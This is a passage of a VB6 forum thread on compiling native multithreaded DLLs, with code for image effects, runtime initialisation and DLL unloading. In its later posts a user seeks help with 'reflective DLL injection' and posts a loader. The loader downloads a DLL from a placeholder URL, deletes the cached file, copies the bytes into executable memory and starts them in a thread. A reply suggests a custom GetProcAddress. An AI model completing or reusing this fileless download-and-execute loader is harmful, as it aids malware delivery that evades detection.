        bi.bmiHeader.biSize = Len(bi.bmiHeader)
        bi.bmiHeader.biBitCount = 32
        bi.bmiHeader.biHeight = ScaleY(pic.Height, vbHimetric, vbPixels)
        bi.bmiHeader.biWidth = ScaleX(pic.Width, vbHimetric, vbPixels)
        bi.bmiHeader.biPlanes = 1
        ' Массив пикселей
        ReDim td.pix(bi.bmiHeader.biWidth * 4 - 1, bi.bmiHeader.biHeight - 1)
        ' Проверка размеров
        If bi.bmiHeader.biWidth > picCanvas.ScaleWidth Then
            hsbScroll.Max = bi.bmiHeader.biWidth - picCanvas.ScaleWidth
            hsbScroll.Visible = True
            dx = -hsbScroll.value
        Else
            dx = (picCanvas.ScaleWidth - bi.bmiHeader.biWidth) / 2
            hsbScroll.value = 0: hsbScroll.Visible = False
        End If
        
        If bi.bmiHeader.biHeight > picCanvas.ScaleHeight Then
            vsbScroll.Max = bi.bmiHeader.biHeight - picCanvas.ScaleHeight
            vsbScroll.Visible = True
            dy = -vsbScroll.value
        Else
            dy = (picCanvas.ScaleHeight - bi.bmiHeader.biHeight) / 2
            vsbScroll.value = 0: vsbScroll.Visible = False
        End If
        ' Перемещаем картинку
        picImage.Move dx, dy, bi.bmiHeader.biWidth, bi.bmiHeader.biHeight
        ' Отображаем ее
        cboEffect.ListIndex = 0: RunEffect
    End Sub
    
    ' // Запустить эффект в другом потоке
    Private Sub RunProcedure(Name As String, ByVal value As Single)
        Dim lpProc As Long
        ' Если в очереди уже есть вызов выходим
        If quene Then Exit Sub
        ' Если поток активен, то ставим в очередь текущий вызов и выходим
        If hThread Then quene = True: Exit Sub
        ' Получаем адрес функции
        lpProc = GetProcAddress(hLib, Name)
        If lpProc = 0 Then MsgBox "Невозможно найти функцию": Exit Sub
        ' Устанавливаем значение эффекта
        td.value = value
        ' Получаем пиксели рисунка
        GetDIBits picCanvas.hdc, pic.Handle, 0, bi.bmiHeader.biHeight, td.pix(0, 0), bi, 0
        ' Создаем поток
        hThread = CreateThread(ByVal 0&, 0, lpProc, td, 0, 0)
        ' Включаем таймер прогрессбара
        tmrUpdate.Enabled = True
    End Sub
    
    ' // Изменение величины эффекта
    Private Sub sldValue_Change()
        RunEffect
    End Sub
    
    ' // Изменение типа эффекта
    Private Sub cboEffect_Click()
        RunEffect
    End Sub
    
    ' // Таймер обновления
    Private Sub tmrUpdate_Timer()
        Dim status  As Long
        ' Устанавливаем процент
        prgProgress.value = td.percent
        ' Получаем код завершения потока
        GetExitCodeThread hThread, status
        ' Если поток активен, выходим
        If status = STILL_ACTIVE Then Exit Sub
        ' Поток завершился, отключаем таймер
        tmrUpdate.Enabled = False
        If status Then
            ' Вызов удачен
            ' Обновляем изображение
            SetDIBitsToDevice picImage.hdc, 0, 0, bi.bmiHeader.biWidth, bi.bmiHeader.biHeight, 0, 0, 0, bi.bmiHeader.biHeight, td.pix(0, 0), bi, 0
            picImage.Refresh
        Else
            ' При неудаче (функция эффекта возвратила 0)
            MsgBox "Функция потерпела неудачу", vbExclamation
        End If
        ' Закрываем описатель
        CloseHandle hThread
        ' Поток завершен
        hThread = 0
        ' Если в очереди был вызов, то вызываем
        If quene Then quene = False: RunEffect
    End Sub
    
    ' // Скроллбары ----------------------------+
    Private Sub vsbScroll_Change()          '   |
        picImage.Top = -vsbScroll.value     '   |
    End Sub                                 '   |
    Private Sub vsbScroll_Scroll()          '   |
        vsbScroll_Change                    '   |
    End Sub                                 '   |
    Private Sub hsbScroll_Change()          '   |
        picImage.Left = -hsbScroll.value    '   |
    End Sub                                 '   |
    Private Sub hsbScroll_Scroll()          '   |
        hsbScroll_Change                    '   |
    End Sub                                 '   |
    ' // ---------------------------------------+
    The program is quite simple, all actions are commented. Highlights I will explain further. When loading forms loaded our DLL, and handle the library stored in the variable hLib. Next image is loaded by default, located in the project folder. The procedure for loading images (LoadImage), filled the main fields of the structure "BITMAPINFO" and released under an array of pixels in the picture, in order so you can get them through the "GetDiBits". Procedure "RunEffect" starts a DLL function in a separate thread (RunProcedure). To exclude run multiple threads in the procedure "RunProcedure" worth checking if the thread is running, set the variable flag (quene) and exit without starting anything. If a thread is not running, the pixels get through "GetDiBits", and prepare the data for the thread (td), run the function in a separate thread. Also, when you create a timer status update. The procedure updates the status of the timer progress bar based on the value of the variable "td.percent", and if the flow has successfully completed its execution (not the function returns 0) update the data in picturebox through "SetDIBitsToDevice". At the end if the variable was quene True, the run effect, it will change the value of the magnitude of the effect or the effect itself while being processed.

    As you can see multi-threading works fine in VB6. In addition, the DLL can be used in any programming language. In the next section, I will describe an example of DLL injection and override the window procedure that will enable the monitor various events in other applications, intercepting API functions and much more.
    _______________________________________________________________________________________________
    All of the above is my personal study and therefore can be any "pitfalls" of which I do not know. Any bugs can inform me, I will try to solve it. Special thanks I would like to express Vladislav Petrovsky (aka. Hacker) for the discovery of undocumented keys compiler / linker. Good luck!

    GraphicsNativeDLL.zip
    Last edited by The trick; Feb 12th, 2015 at 03:25 PM.

  5. #5
    Default Member Bonnie West's Avatar
    Join Date
    Jun 2012
    Location
    InIDE
    Posts
    4,060

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Quote Originally Posted by The trick View Post
    In the project file add these lines for specifying additional compiler and linker keys:
    Code:
    [VBCompiler]
    LinkSwitches= /ENTRY:DllMain /EXPORT:Brightness /EXPORT:Contrast /EXPORT:Saturation /EXPORT:GaussianBlur /EXPORT:EdgeDetect /EXPORT:Sharpen /EXPORT:Emboss /EXPORT:Minimum /EXPORT:Maximum /EXPORT:FishEye
    Fantastic trick!



    BTW, don't know if you already came across this, but I thought you might be interested in seeing this guy's similar guide to constructing standard DLLs using VB6.
    On Local Error Resume Next: If Not Empty Is Nothing Then Do While Null: ReDim i(True To False) As Currency: Loop: Else Debug.Assert CCur(CLng(CInt(CBool(False Imp True Xor False Eqv True)))): Stop: On Local Error GoTo 0
    Declare Sub CrashVB Lib "msvbvm60" (Optional DontPassMe As Any)

  6. #6
    VB-aholic & Lovin' It LaVolpe's Avatar
    Join Date
    Oct 2007
    Location
    Beside Waldo
    Posts
    19,541

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Trick, have a question and any suggestion from you would be appreciated.

    Been playing with your idea and have been successful for the most part, but unsuccessful in one specific area, so far.

    First, let me tell you how I modified your modMainDLL_SingleThreadModel.bas module
    1. Added a public CreateNewThread() function that takes an address for thread callbacks and optional parameter to pass to new thread creation. This method creates a new thread and passes the AddressOf pvThreadProc which is in the same DLL...
    2. Added pvThreadProc(). This function calls the thread callback method passed during the CreateNewThread() call.
    3. Modified the TLB to include new entries I needed

    My goal was to create threads and allow them to callback to any address, whether it is in a bas, form, class, usercontrol, etc. This appears to work.

    The modifications I made work great in my limited tests, both in a compiled standard exe and during IDE. The thread procedure (callback into the project's bas) even appears to be able to call APIs not defined in a tlb, handle errors, handle strings and most other things. Creating std vb objects within the new thread, with the "New" keyword in the thread procedure has no bad effects. Tried it with stdPictures and collections. However, creating a project Class object crashes when compiled but not in the IDE. Is this one of the things that we are limited to... cannot create classes within the new thread?

    Interested in hearing your thoughts.

    Edited. Maybe can't really be done. The COM object will always be created on the process' first thread, correct? If so, then I'd have to ask the main thread to create the object and marshal it over to the new thread I would think. And if that is true, then any code executed in the class would be on the main thread, not the worker/new thread. Is that correct?
    Last edited by LaVolpe; Feb 14th, 2015 at 03:27 PM.
    Insomnia is just a byproduct of, "It can't be done"

    Classics Enthusiast? Here's my 1969 Mustang Mach I Fastback. Her sister '67 Coupe has been adopted

    Newbie? Novice? Bored? Spend a few minutes browsing the FAQ section of the forum.
    Read the HitchHiker's Guide to Getting Help on the Forums.
    Here is the list of TAGs you can use to format your posts
    Here are VB6 Help Files online


    {Alpha Image Control} {Memory Leak FAQ} {Unicode Open/Save Dialog} {Resource Image Viewer/Extractor}
    {VB and DPI Tutorial} {Manifest Creator} {UserControl Button Template} {stdPicture Render Usage}

  7. #7

    Thread Starter
    PowerPoster
    Join Date
    Feb 2015
    Posts
    2,759

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Hello LaVolpe! I am very glad that you are interested in the idea. Unload your project, so I can see exactly what is causing the problem. Threading works, in this case, at the project level. Ie only to create objects in the DLL. Initialize runtime can and EXE, but it needs to further engage in reverse engineering, I do not yet engaged. For non-initialized runtime can be programmed with restrictions. By the way I have already laid out examples here and here.

  8. #8
    VB-aholic & Lovin' It LaVolpe's Avatar
    Join Date
    Oct 2007
    Location
    Beside Waldo
    Posts
    19,541

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Quote Originally Posted by The trick View Post
    Hello LaVolpe! I am very glad that you are interested in the idea. Unload your project, so I can see exactly what is causing the problem.
    I may upload it later, another day. Still want to play some more.

    Can you look at my edited comments in my earlier reply? Am I understanding the threading model with COM correctly?

    Regarding the threading, yes it works well. And I find your initialization routines in the DLL is a very clean solution. I like it very much. Unlike your examples, I wanted to try something different. I did not want to create a DLL for a specific task, like a graphics dll, etc. My goal is to have the DLL create threads and handle marshaling so that the DLL can be of generic use. My question is really, what known limitations exist for creating objects, when using free-threads. Marshaling is another topic.
    Insomnia is just a byproduct of, "It can't be done"

    Classics Enthusiast? Here's my 1969 Mustang Mach I Fastback. Her sister '67 Coupe has been adopted

    Newbie? Novice? Bored? Spend a few minutes browsing the FAQ section of the forum.
    Read the HitchHiker's Guide to Getting Help on the Forums.
    Here is the list of TAGs you can use to format your posts
    Here are VB6 Help Files online


    {Alpha Image Control} {Memory Leak FAQ} {Unicode Open/Save Dialog} {Resource Image Viewer/Extractor}
    {VB and DPI Tutorial} {Manifest Creator} {UserControl Button Template} {stdPicture Render Usage}

  9. #9

    Thread Starter
    PowerPoster
    Join Date
    Feb 2015
    Posts
    2,759

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Quote Originally Posted by LaVolpe View Post
    Edited. Maybe can't really be done. The COM object will always be created on the process' first thread, correct? If so, then I'd have to ask the main thread to create the object and marshal it over to the new thread I would think. And if that is true, then any code executed in the class would be on the main thread, not the worker/new thread. Is that correct?
    No. Objects can also be created in the new thread. Here's an example.

    Edited.
    Once again. Creating objects (user) only at the project level. If you spend runtime initialization in a DLL, and create objects (user) can be in the DLL. In this case it is possible to create a custom code objects within a DLL, but not in the code EXE; because it needs to initialize the runtime for EXE. As you can see I give structure "VBHeader" in "VBDllGetClassObject", but this structure is valid for the DLL. The same can be done for EXE, but has its own nuances that do not let you do that as easily.

  10. #10
    VB-aholic & Lovin' It LaVolpe's Avatar
    Join Date
    Oct 2007
    Location
    Beside Waldo
    Posts
    19,541

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Quote Originally Posted by The trick View Post
    No. Objects can also be created in the new thread. Here's an example.
    I see. Use of CoCreateInstance, CreateObject, and other creation APIs... I was attempting to the create the class with the New keyword, i.e., Set c = New ClassX

    Since I do not know in advance, the CLSID for the class, I think that is the problem. Also note that the DLL I created is not registered as ActiveX and only the exported functions are being used.
    Insomnia is just a byproduct of, "It can't be done"

    Classics Enthusiast? Here's my 1969 Mustang Mach I Fastback. Her sister '67 Coupe has been adopted

    Newbie? Novice? Bored? Spend a few minutes browsing the FAQ section of the forum.
    Read the HitchHiker's Guide to Getting Help on the Forums.
    Here is the list of TAGs you can use to format your posts
    Here are VB6 Help Files online


    {Alpha Image Control} {Memory Leak FAQ} {Unicode Open/Save Dialog} {Resource Image Viewer/Extractor}
    {VB and DPI Tutorial} {Manifest Creator} {UserControl Button Template} {stdPicture Render Usage}

  11. #11

  12. #12
    VB-aholic & Lovin' It LaVolpe's Avatar
    Join Date
    Oct 2007
    Location
    Beside Waldo
    Posts
    19,541

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Quote Originally Posted by The trick View Post
    LaVolpe, see additions in my previous post.
    Thank you, that makes sense
    Insomnia is just a byproduct of, "It can't be done"

    Classics Enthusiast? Here's my 1969 Mustang Mach I Fastback. Her sister '67 Coupe has been adopted

    Newbie? Novice? Bored? Spend a few minutes browsing the FAQ section of the forum.
    Read the HitchHiker's Guide to Getting Help on the Forums.
    Here is the list of TAGs you can use to format your posts
    Here are VB6 Help Files online


    {Alpha Image Control} {Memory Leak FAQ} {Unicode Open/Save Dialog} {Resource Image Viewer/Extractor}
    {VB and DPI Tutorial} {Manifest Creator} {UserControl Button Template} {stdPicture Render Usage}

  13. #13

  14. #14

  15. #15

  16. #16

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Quote Originally Posted by The trick View Post
    So now we know how to initialize the runtime and can begin to compile a native DLL. In the project file add these lines for specifying additional compiler and linker keys:
    Code:
    [VBCompiler]
    LinkSwitches= /ENTRY:DllMain /EXPORT:Brightness /EXPORT:Contrast /EXPORT:Saturation /EXPORT:GaussianBlur /EXPORT:EdgeDetect /EXPORT:Sharpen /EXPORT:Emboss /EXPORT:Minimum /EXPORT:Maximum /EXPORT:FishEye
    Isn't that fair to mention who actually discovered these undocumented keys?

  17. #17
    Default Member Bonnie West's Avatar
    Join Date
    Jun 2012
    Location
    InIDE
    Posts
    4,060

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Quote Originally Posted by firehacker View Post
    Isn't that fair to mention who actually discovered these undocumented keys?
    Quote Originally Posted by The trick View Post
    ... there are a few tricks you can use to create a native DLL, from the substitution of the linker and ending undocumented sections in vbp-file.
    Quote Originally Posted by The trick View Post
    Special thanks I would like to express Vladislav Petrovsky (aka. Hacker) for the discovery of undocumented keys compiler / linker.
    On Local Error Resume Next: If Not Empty Is Nothing Then Do While Null: ReDim i(True To False) As Currency: Loop: Else Debug.Assert CCur(CLng(CInt(CBool(False Imp True Xor False Eqv True)))): Stop: On Local Error GoTo 0
    Declare Sub CrashVB Lib "msvbvm60" (Optional DontPassMe As Any)

  18. #18

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    I was using "Hybrid" topic display mode. In this mode links such as your:
    Quote Originally Posted by Bonnie West View Post
    Yet another way of setting the /LARGEADDRESSAWARE flag is by exploiting the undocumented [VBCompiler] option for .VBP files:
    brings me to this (http://www.vbforums.com/showthread.p...id#post4835355) post which is displayed alone (i.e. without preceding posts) in hybrid mode.

    So, since this post (post #3 when in linear topic display mode) that mentions [VBCompiler] doesn't contain a word about me, I mistakenly thought The trick decided not to mention me.

  19. #19
    PowerPoster
    Join Date
    Jan 2020
    Posts
    4,304

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Quote Originally Posted by The trick View Post
    Get the address of "UserDllMain" is very simple, because we know the handle of the library (it is passed as the first parameter); call "GetProcAddress" and get the address "DllGetClassObject". Next, we obtain the values through "GetMem4". I want to note that all API functions must be declared in a type library for this I compiled "DllInitialize.tlb", after compiling it does not need. To call "VBDllGetClassObject" use as "IID - IUnknown", as "CLSID - IID_NULL". Also, for initialization "COM" function must be called "CoInitialize". If we now try to collect a DLL, it will work, but keep in mind that the first call "VBDllGetClassObject" all unit variables are initialized to default values. Therefore it is necessary to call derived variables stored in local variables, and then it is already possible to maintain a modular. You also need to consider the threading model of the project: to "Apartment", as a function of "DllMain" should not be appeals to modular variables. For both models, I created two modules:
    For single threaded:[CODE]' modMainDLL.bas - инициализация DLL (Single thread)
    ' © Кривоус Анатолий Анатольевич (The trick), 2014

    Option Explicit

    Private Type uuid
    data1 As Long
    data2 As Integer
    data3 As Integer
    data4(7) As Byte
    End Type

    Public hInstance As Long

    Private lpInst_ As Long
    Private lpUnk_ As Long
    Private lpVBHdr_ As Long

    ' Точка входа
    Public Function DllMain(ByVal hInstDll As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
    Dim lpProc As Long
    Dim lpInst As Long
    Dim lpUnk As Long
    Dim lpVBHdr As Long

    ' При создании процесса инициализируем адреса нужных переменных
    If fdwReason = DLL_PROCESS_ATTACH Then
    ' Получаем нужные нам данные, VBHeader, и два указателя необходимых для инициализации
    lpProc = GetProcAddress(hInstDll, "DllGetClassObject")
    If lpProc = 0 Then Exit Function
    GetMem4 ByVal lpProc + 2, lpVBHdr
    GetMem4 ByVal lpProc + 7, lpUnk
    GetMem4 ByVal lpProc + 12, lpInst
    DllMain = InitRuntime(lpInst, lpUnk, lpVBHdr, hInstDll, fdwReason, lpvReserved)
    lpInst_ = lpInst: lpUnk_ = lpUnk: lpVBHdr_ = lpVBHdr: hInstance = hInstDll
    ElseIf fdwReason = DLL_THREAD_ATTACH Then
    DllMain = InitRuntime(lpInst_, lpUnk_, lpVBHdr_, hInstDll, fdwReason, lpvReserved)
    Else
    vbCoUninitialize
    DllMain = UserDllMain(lpInst_, lpUnk_, hInstDll, fdwReason, ByVal lpvReserved)
    End If

    End Function
    [VBCompiler]
    LinkSwitches=/DLL /ENTRYllMain /EXPORT:Sum /EXPORT:ShowForm

    Code:
    Public Sub ShowForm()
    IntDll  'InitRuntime
    Msg "ShowForm"
    Dim f As Form1
    Set f = New Form1
    f.Show 1
    Set f = Nothing
    vbCoUninitialize
    End Sub
    when i call "ShowForm" in vc++ or (visual freebasic)
    it's successful,but when exe unload ,it's error happend(crash),how to fix vb standad.
    if we USE " DLL injection" to other exe(application),for best we can DLL_PROCESS_ATTACH AND unload dll more times.
    but it's can't unload dll.
    i want to fireevents "DLL_PROCESS_ATTACH " when load dll
    load dll
    unload dll
    load dll
    unload dll
    ****
    I want to load and unload the DLL several times, the operation will not crash
    maybe we need call api "DllCanUnloadNow","DllUnregisterServer"?
    chinese:我想多次加载卸载DLL,随便操作都不会崩溃就好了
    Last edited by xiaoyao; Jan 30th, 2020 at 11:06 PM.

  20. #20
    PowerPoster
    Join Date
    Jan 2020
    Posts
    4,304

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    vb STANDAND DLL,a api show form1,vb crash,maybe need use "COMDllLoader"?

    ' References:
    ' VBoostTypes6.olb (VBoost Object Types (6.0))
    ' ObjCreate.olb (VBoost: Object Creation and Security)
    ' This file is from the CD-ROM accompanying the book:
    ' Advanced Visual Basic 6: Power Techniques for Everyday Programs

    Code:
    Option Explicit
    
    Private m_fInit As Boolean
    Public IID_IClassFactory As IID
    Public IID_IUnknown As IID
    Private m_FDDllGetClassObject As FunctionDelegator
    Private m_pCallDllGetClassObject As ICallDllGetClassObject
    Private m_FDDllCanUnloadNow As FunctionDelegator
    Private m_pCallDllCanUnloadNow As ICallDllCanUnloadNow
    
    Private Sub Init()
        IID_IClassFactory = IIDFromString(strIID_IClassFactory)
        IID_IUnknown = IIDFromString(strIID_IUnknown)
        Set m_pCallDllGetClassObject = InitDelegator(m_FDDllGetClassObject)
        Set m_pCallDllCanUnloadNow = InitDelegator(m_FDDllCanUnloadNow)
        m_fInit = True
    End Sub
    
    Public Function GetDllClassObject(ByVal DllPath As String, CLSID As CLSID, hModDll As hInstance) As IClassFactory
        If Not m_fInit Then Init
        If hModDll = 0 Then
            hModDll = LoadLibraryEx(DllPath, 0, LOAD_WITH_ALTERED_SEARCH_PATH)
            If hModDll = 0 Then
                Err.Raise &H80070000 + Err.LastDllError
            End If
        End If
        m_FDDllGetClassObject.pfn = GetProcAddress(hModDll, "DllGetClassObject")
        If m_FDDllGetClassObject.pfn = 0 Then
            Err.Raise &H80070000 + Err.LastDllError
        End If
        Set GetDllClassObject = m_pCallDllGetClassObject.Call(CLSID, IID_IClassFactory)
    End Function
    
    Public Sub TestUnloadDll(hModDll As hInstance)
        If hModDll Then
            If Not m_fInit Then Init
            m_FDDllCanUnloadNow.pfn = GetProcAddress(hModDll, "DllCanUnloadNow")
            If m_FDDllCanUnloadNow.pfn = 0 Then
                Err.Raise &H80070000 + Err.LastDllError
            End If
            If m_pCallDllCanUnloadNow.Call = 0 Then
                FreeLibrary hModDll
                hModDll = 0
            End If
        End If
    End Sub
    Last edited by xiaoyao; Jan 30th, 2020 at 11:41 PM.

  21. #21

  22. #22
    Lively Member
    Join Date
    Jun 2016
    Posts
    106

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    wrong post
    Last edited by xman2000; Dec 7th, 2020 at 01:56 AM.

  23. #23
    Junior Member
    Join Date
    Aug 2022
    Posts
    19

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    La Volpe, Good afternoon, man I'm using the DLL Native it's working 100% but I came across a problem, when I run the function FindWindow(vbNullString, vbNullString) to return all the active windows but it crashes without returning any error I couldn't identify where the problem is Will you be able to help me with this task?

  24. #24
    Frenzied Member VanGoghGaming's Avatar
    Join Date
    Jan 2020
    Location
    Eve Online - Mining, Missions & Market Trading!
    Posts
    2,022

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    The problem is that you shouldn't use "FindWindow" like that. Use "EnumWindows" instead. Even MSDN recommends it: "This function is more reliable than calling the GetWindow function in a loop. An application that calls GetWindow to perform this task risks being caught in an infinite loop or referencing a handle to a window that has been destroyed."

  25. #25
    Junior Member
    Join Date
    Aug 2022
    Posts
    19

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Tks. VanGoghGaming
    Strange because I have no problem with the same function using .exe

    But what you said makes total sense, I'll analyze if it works but it crashes without any error.

    same problem even using EnumWindows
    Last edited by android____; Feb 1st, 2023 at 10:50 PM.

  26. #26

  27. #27
    Junior Member
    Join Date
    Aug 2022
    Posts
    19

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Yes, now that another problem has arisen, I work with cybersecurity and was using the DLL to try a reflective DLL injection technique in other languages. Now I managed to use the native DLL in VB6, using the example here. I can't call the function by injecting it into memory. Could you help me with this, because I believe there is something possible to get around it. It gives an error because it can't find the function in memory. When calling GetProcAddress to get the function's address, it can't find it. If I inject the DLL, but if I load it with LoadLibrary, it works fine. However, injecting it into memory doesn't work.

  28. #28

    Thread Starter
    PowerPoster
    Join Date
    Feb 2015
    Posts
    2,759

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Quote Originally Posted by android____ View Post
    Yes, now that another problem has arisen, I work with cybersecurity and was using the DLL to try a reflective DLL injection technique in other languages. Now I managed to use the native DLL in VB6, using the example here. I can't call the function by injecting it into memory. Could you help me with this, because I believe there is something possible to get around it. It gives an error because it can't find the function in memory. When calling GetProcAddress to get the function's address, it can't find it. If I inject the DLL, but if I load it with LoadLibrary, it works fine. However, injecting it into memory doesn't work.
    Please attach the project.

  29. #29
    Junior Member
    Join Date
    Aug 2022
    Posts
    19

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    DLL

    ' modMainDLL.bas - ????????????? DLL (Apartment threaded)
    ' © ??????? ???????? ??????????? (The trick), 2014

    Option Explicit

    Private Type uuid
    data1 As Long
    data2 As Integer
    data3 As Integer
    data4(7) As Byte
    End Type

    Public hInstance As Long

    Private lpInst_ As Long
    Private lpUnk_ As Long
    Private lpVBHdr_ As Long

    ' ????? ?????, ????? ?? ?????? ???? ????????? ? ??????? ??????????, ?.?. public, private, static
    Public Function DllMain(ByVal hInstDLL As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
    Dim iid As uuid
    Dim clsid As uuid
    Dim lpInst As Long
    Dim lpUnk As Long
    Dim lpVBHdr As Long
    Dim lpProc As Long

    ' ??? ???????? ???????? ??? ??????
    If fdwReason = DLL_PROCESS_ATTACH Or fdwReason = DLL_THREAD_ATTACH Then
    ' ???????? ?????? ??? ??????, VBHeader, ? ??? ????????? ??????????? ??? ????????????
    ' ?????? ????? ???????? ???? ?????? (?????????, ????????? ?????????? ? ?.?.)
    lpProc = GetProcAddress(hInstDLL, "DllGetClassObject")
    If lpProc = 0 Then Exit Function
    GetMem4 ByVal lpProc + 2, lpVBHdr
    GetMem4 ByVal lpProc + 7, lpUnk
    GetMem4 ByVal lpProc + 12, lpInst
    ' ????????????? COM
    vbCoInitialize ByVal 0&
    ' ??? ??????? ?????????? ?? ActiveX DLL
    DllMain = UserDllMain(lpInst, lpUnk, hInstDLL, fdwReason, ByVal lpvReserved)
    If DllMain = 0 Then Exit Function
    iid.data4(0) = &HC0: iid.data4(7) = &H46 ' IUnknown
    VBDllGetClassObject lpInst, lpUnk, lpVBHdr, clsid, iid, 0 ' ????????????? ??????
    ' ??? ?????????? ? ????????? ?????????? ??????????, ??????????????? ??
    SetPublicVariable lpInst, lpUnk, lpVBHdr, hInstDLL
    Else
    vbCoUninitialize
    DllMain = DefMainDLL(hInstDLL, fdwReason, ByVal lpvReserved)
    End If

    End Function

    Private Sub SetPublicVariable(ByVal lpInst As Long, ByVal lpUnk As Long, ByVal lpVBHdr As Long, ByVal hInstDLL As Long)
    lpInst_ = lpInst: lpUnk_ = lpUnk: lpVBHdr_ = lpVBHdr: hInstance = hInstDLL
    End Sub
    Private Function DefMainDLL(ByVal hInstDLL As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
    DefMainDLL = UserDllMain(lpInst_, lpUnk_, hInstDLL, fdwReason, ByVal lpvReserved)
    End Function

    Option Explicit


    Public CronTFull As Boolean

    Public Function ExecuteDLL(ByVal code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

    MsgBox "Start Function : ExecuteDLL"

    End Function


    [VBCompiler]
    LinkSwitches= /ENTRYllMain /EXPORT:ExecuteDLL

    Where ExecuteD is the function I want to call when I inject the dll

    Now I will pass the code of the dll injector


    Private Sub Command1_Click()
    Call TestInjectDLL

    End Sub


    Private Declare Function URLDownloadToCacheFile Lib "urlmon" Alias "URLDownloadToCacheFileA" (ByVal lpUnkcaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal cchFileName As Long, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

    Public Declare Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Public Declare Function RtlMoveMemory Lib "kernel32" (ByVal Destination As Any, ByVal Source As Any, ByVal Length As Long) As Long
    Public Declare Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, ByRef lpThreadId As Long) As Long
    Public Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
    Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
    Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
    Public Const MEM_COMMIT = &H1000
    Public Const PAGE_EXECUTE_READWRITE = &H40
    Public Const INFINITE = &HFFFFFFFF

    ' Test function to download the DLL, inject it and call the function
    Public Sub TestInjectDLL()
    Dim dllData() As Byte
    Dim url As String
    Dim funcName As String

    ' URL of the DLL to be downloaded
    url = "https://URLDONWLOADDLL/teste.dll"

    ' Name of the exported function to be called
    funcName = "ExecuteEncryptedDLL"

    ' Download the DLL into memory
    dllData = DownloadDLLToMemory(url)

    ' Inject and execute DLL directly from memory
    InjectDLLFromMemory dllData, funcName
    End Sub


    ' Function to download the DLL directly to memory
    Private Function DownloadDLLToMemory(ByVal url As String) As Byte()
    Dim buffer() As Byte
    Dim tmpFileName As String * 260
    Dim hResult As Long

    ' Download DLL to cache (without saving to disk)
    hResult = URLDownloadToCacheFile(0, url, tmpFileName, Len(tmpFileName), 0, 0)

    If hResult = 0 Then
    Open tmpFileName For Binary As #1
    ReDim buffer(LOF(1) - 1)
    Get #1, , buffer
    Close #1
    Kill tmpFileName ' Delete downloaded file immediately after reading
    End If

    DownloadDLLToMemory = buffer
    End Function


    ' Function to find the address of the function exported from the DLL
    Private Function GetProcAddressFromMemory(ByVal dllPointer As Long, ByVal funcName As String) As Long
    ' Get the address of the exported function
    GetProcAddressFromMemory = GetProcAddress(dllPointer, funcName)

    If GetProcAddressFromMemory = 0 Then
    MsgBox "Failed to locate function" & funcName
    End If
    End Function

    ' Function to inject and call the exported function
    Public Sub InjectDLLFromMemory(ByRef dllData() As Byte, ByVal funcName As String)
    Dim dllPointer As Long
    Dim funcAddress As Long
    Dim threadHandle As Long
    Dim threadId As Long
    Dim dllSize As Long
    Dim dataPointer As Long

    ' Get DLL size
    dllSize = UBound(dllData) + 1

    ' Get the pointer to the byte array
    dataPointer = VarPtr(dllData(0))

    ' Allocate memory in the current process for the DLL
    dllPointer = VirtualAlloc(0, dllSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)

    ' Move downloaded DLL data to allocated space
    Call RtlMoveMemory(ByVal dllPointer, ByVal dataPointer, dllSize)

    ' Find the address of the exported function
    funcAddress = GetProcAddressFromMemory(dllPointer, funcName)

    MsgBox "DLL loaded at address:" & Hex(dllPointer)

    If funcAddress = 0 Then
    MsgBox "Failed to get function address" & funcName
    Exit Sub
    End If

    ' Create a thread to execute the injected DLL function
    threadHandle = CreateThread(0, 0, funcAddress, 0, 0, threadId)

    ' Wait for the thread to finish to avoid crashing
    If threadHandle <> 0 Then
    WaitForSingleObject threadHandle, INFINITE
    CloseHandle threadHandle
    Else
    MsgBox "Failed to create thread."
    End If
    End Sub

  30. #30
    Junior Member
    Join Date
    Aug 2022
    Posts
    19

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Quote Originally Posted by The trick View Post
    Please attach the project.
    I posted

  31. #31
    Frenzied Member VanGoghGaming's Avatar
    Join Date
    Jan 2020
    Location
    Eve Online - Mining, Missions & Market Trading!
    Posts
    2,022

    Re: [VB6] - Multithreading in VB6 part 2 - the creation of Native DLL.

    Pretty sure you need to write your own GetProcAddress function as the official one works only with modules loaded via GetModuleHandle or LoadLibrary.

  32. #32
    Junior Member
    Join Date
    Aug 2022
    Posts
    19

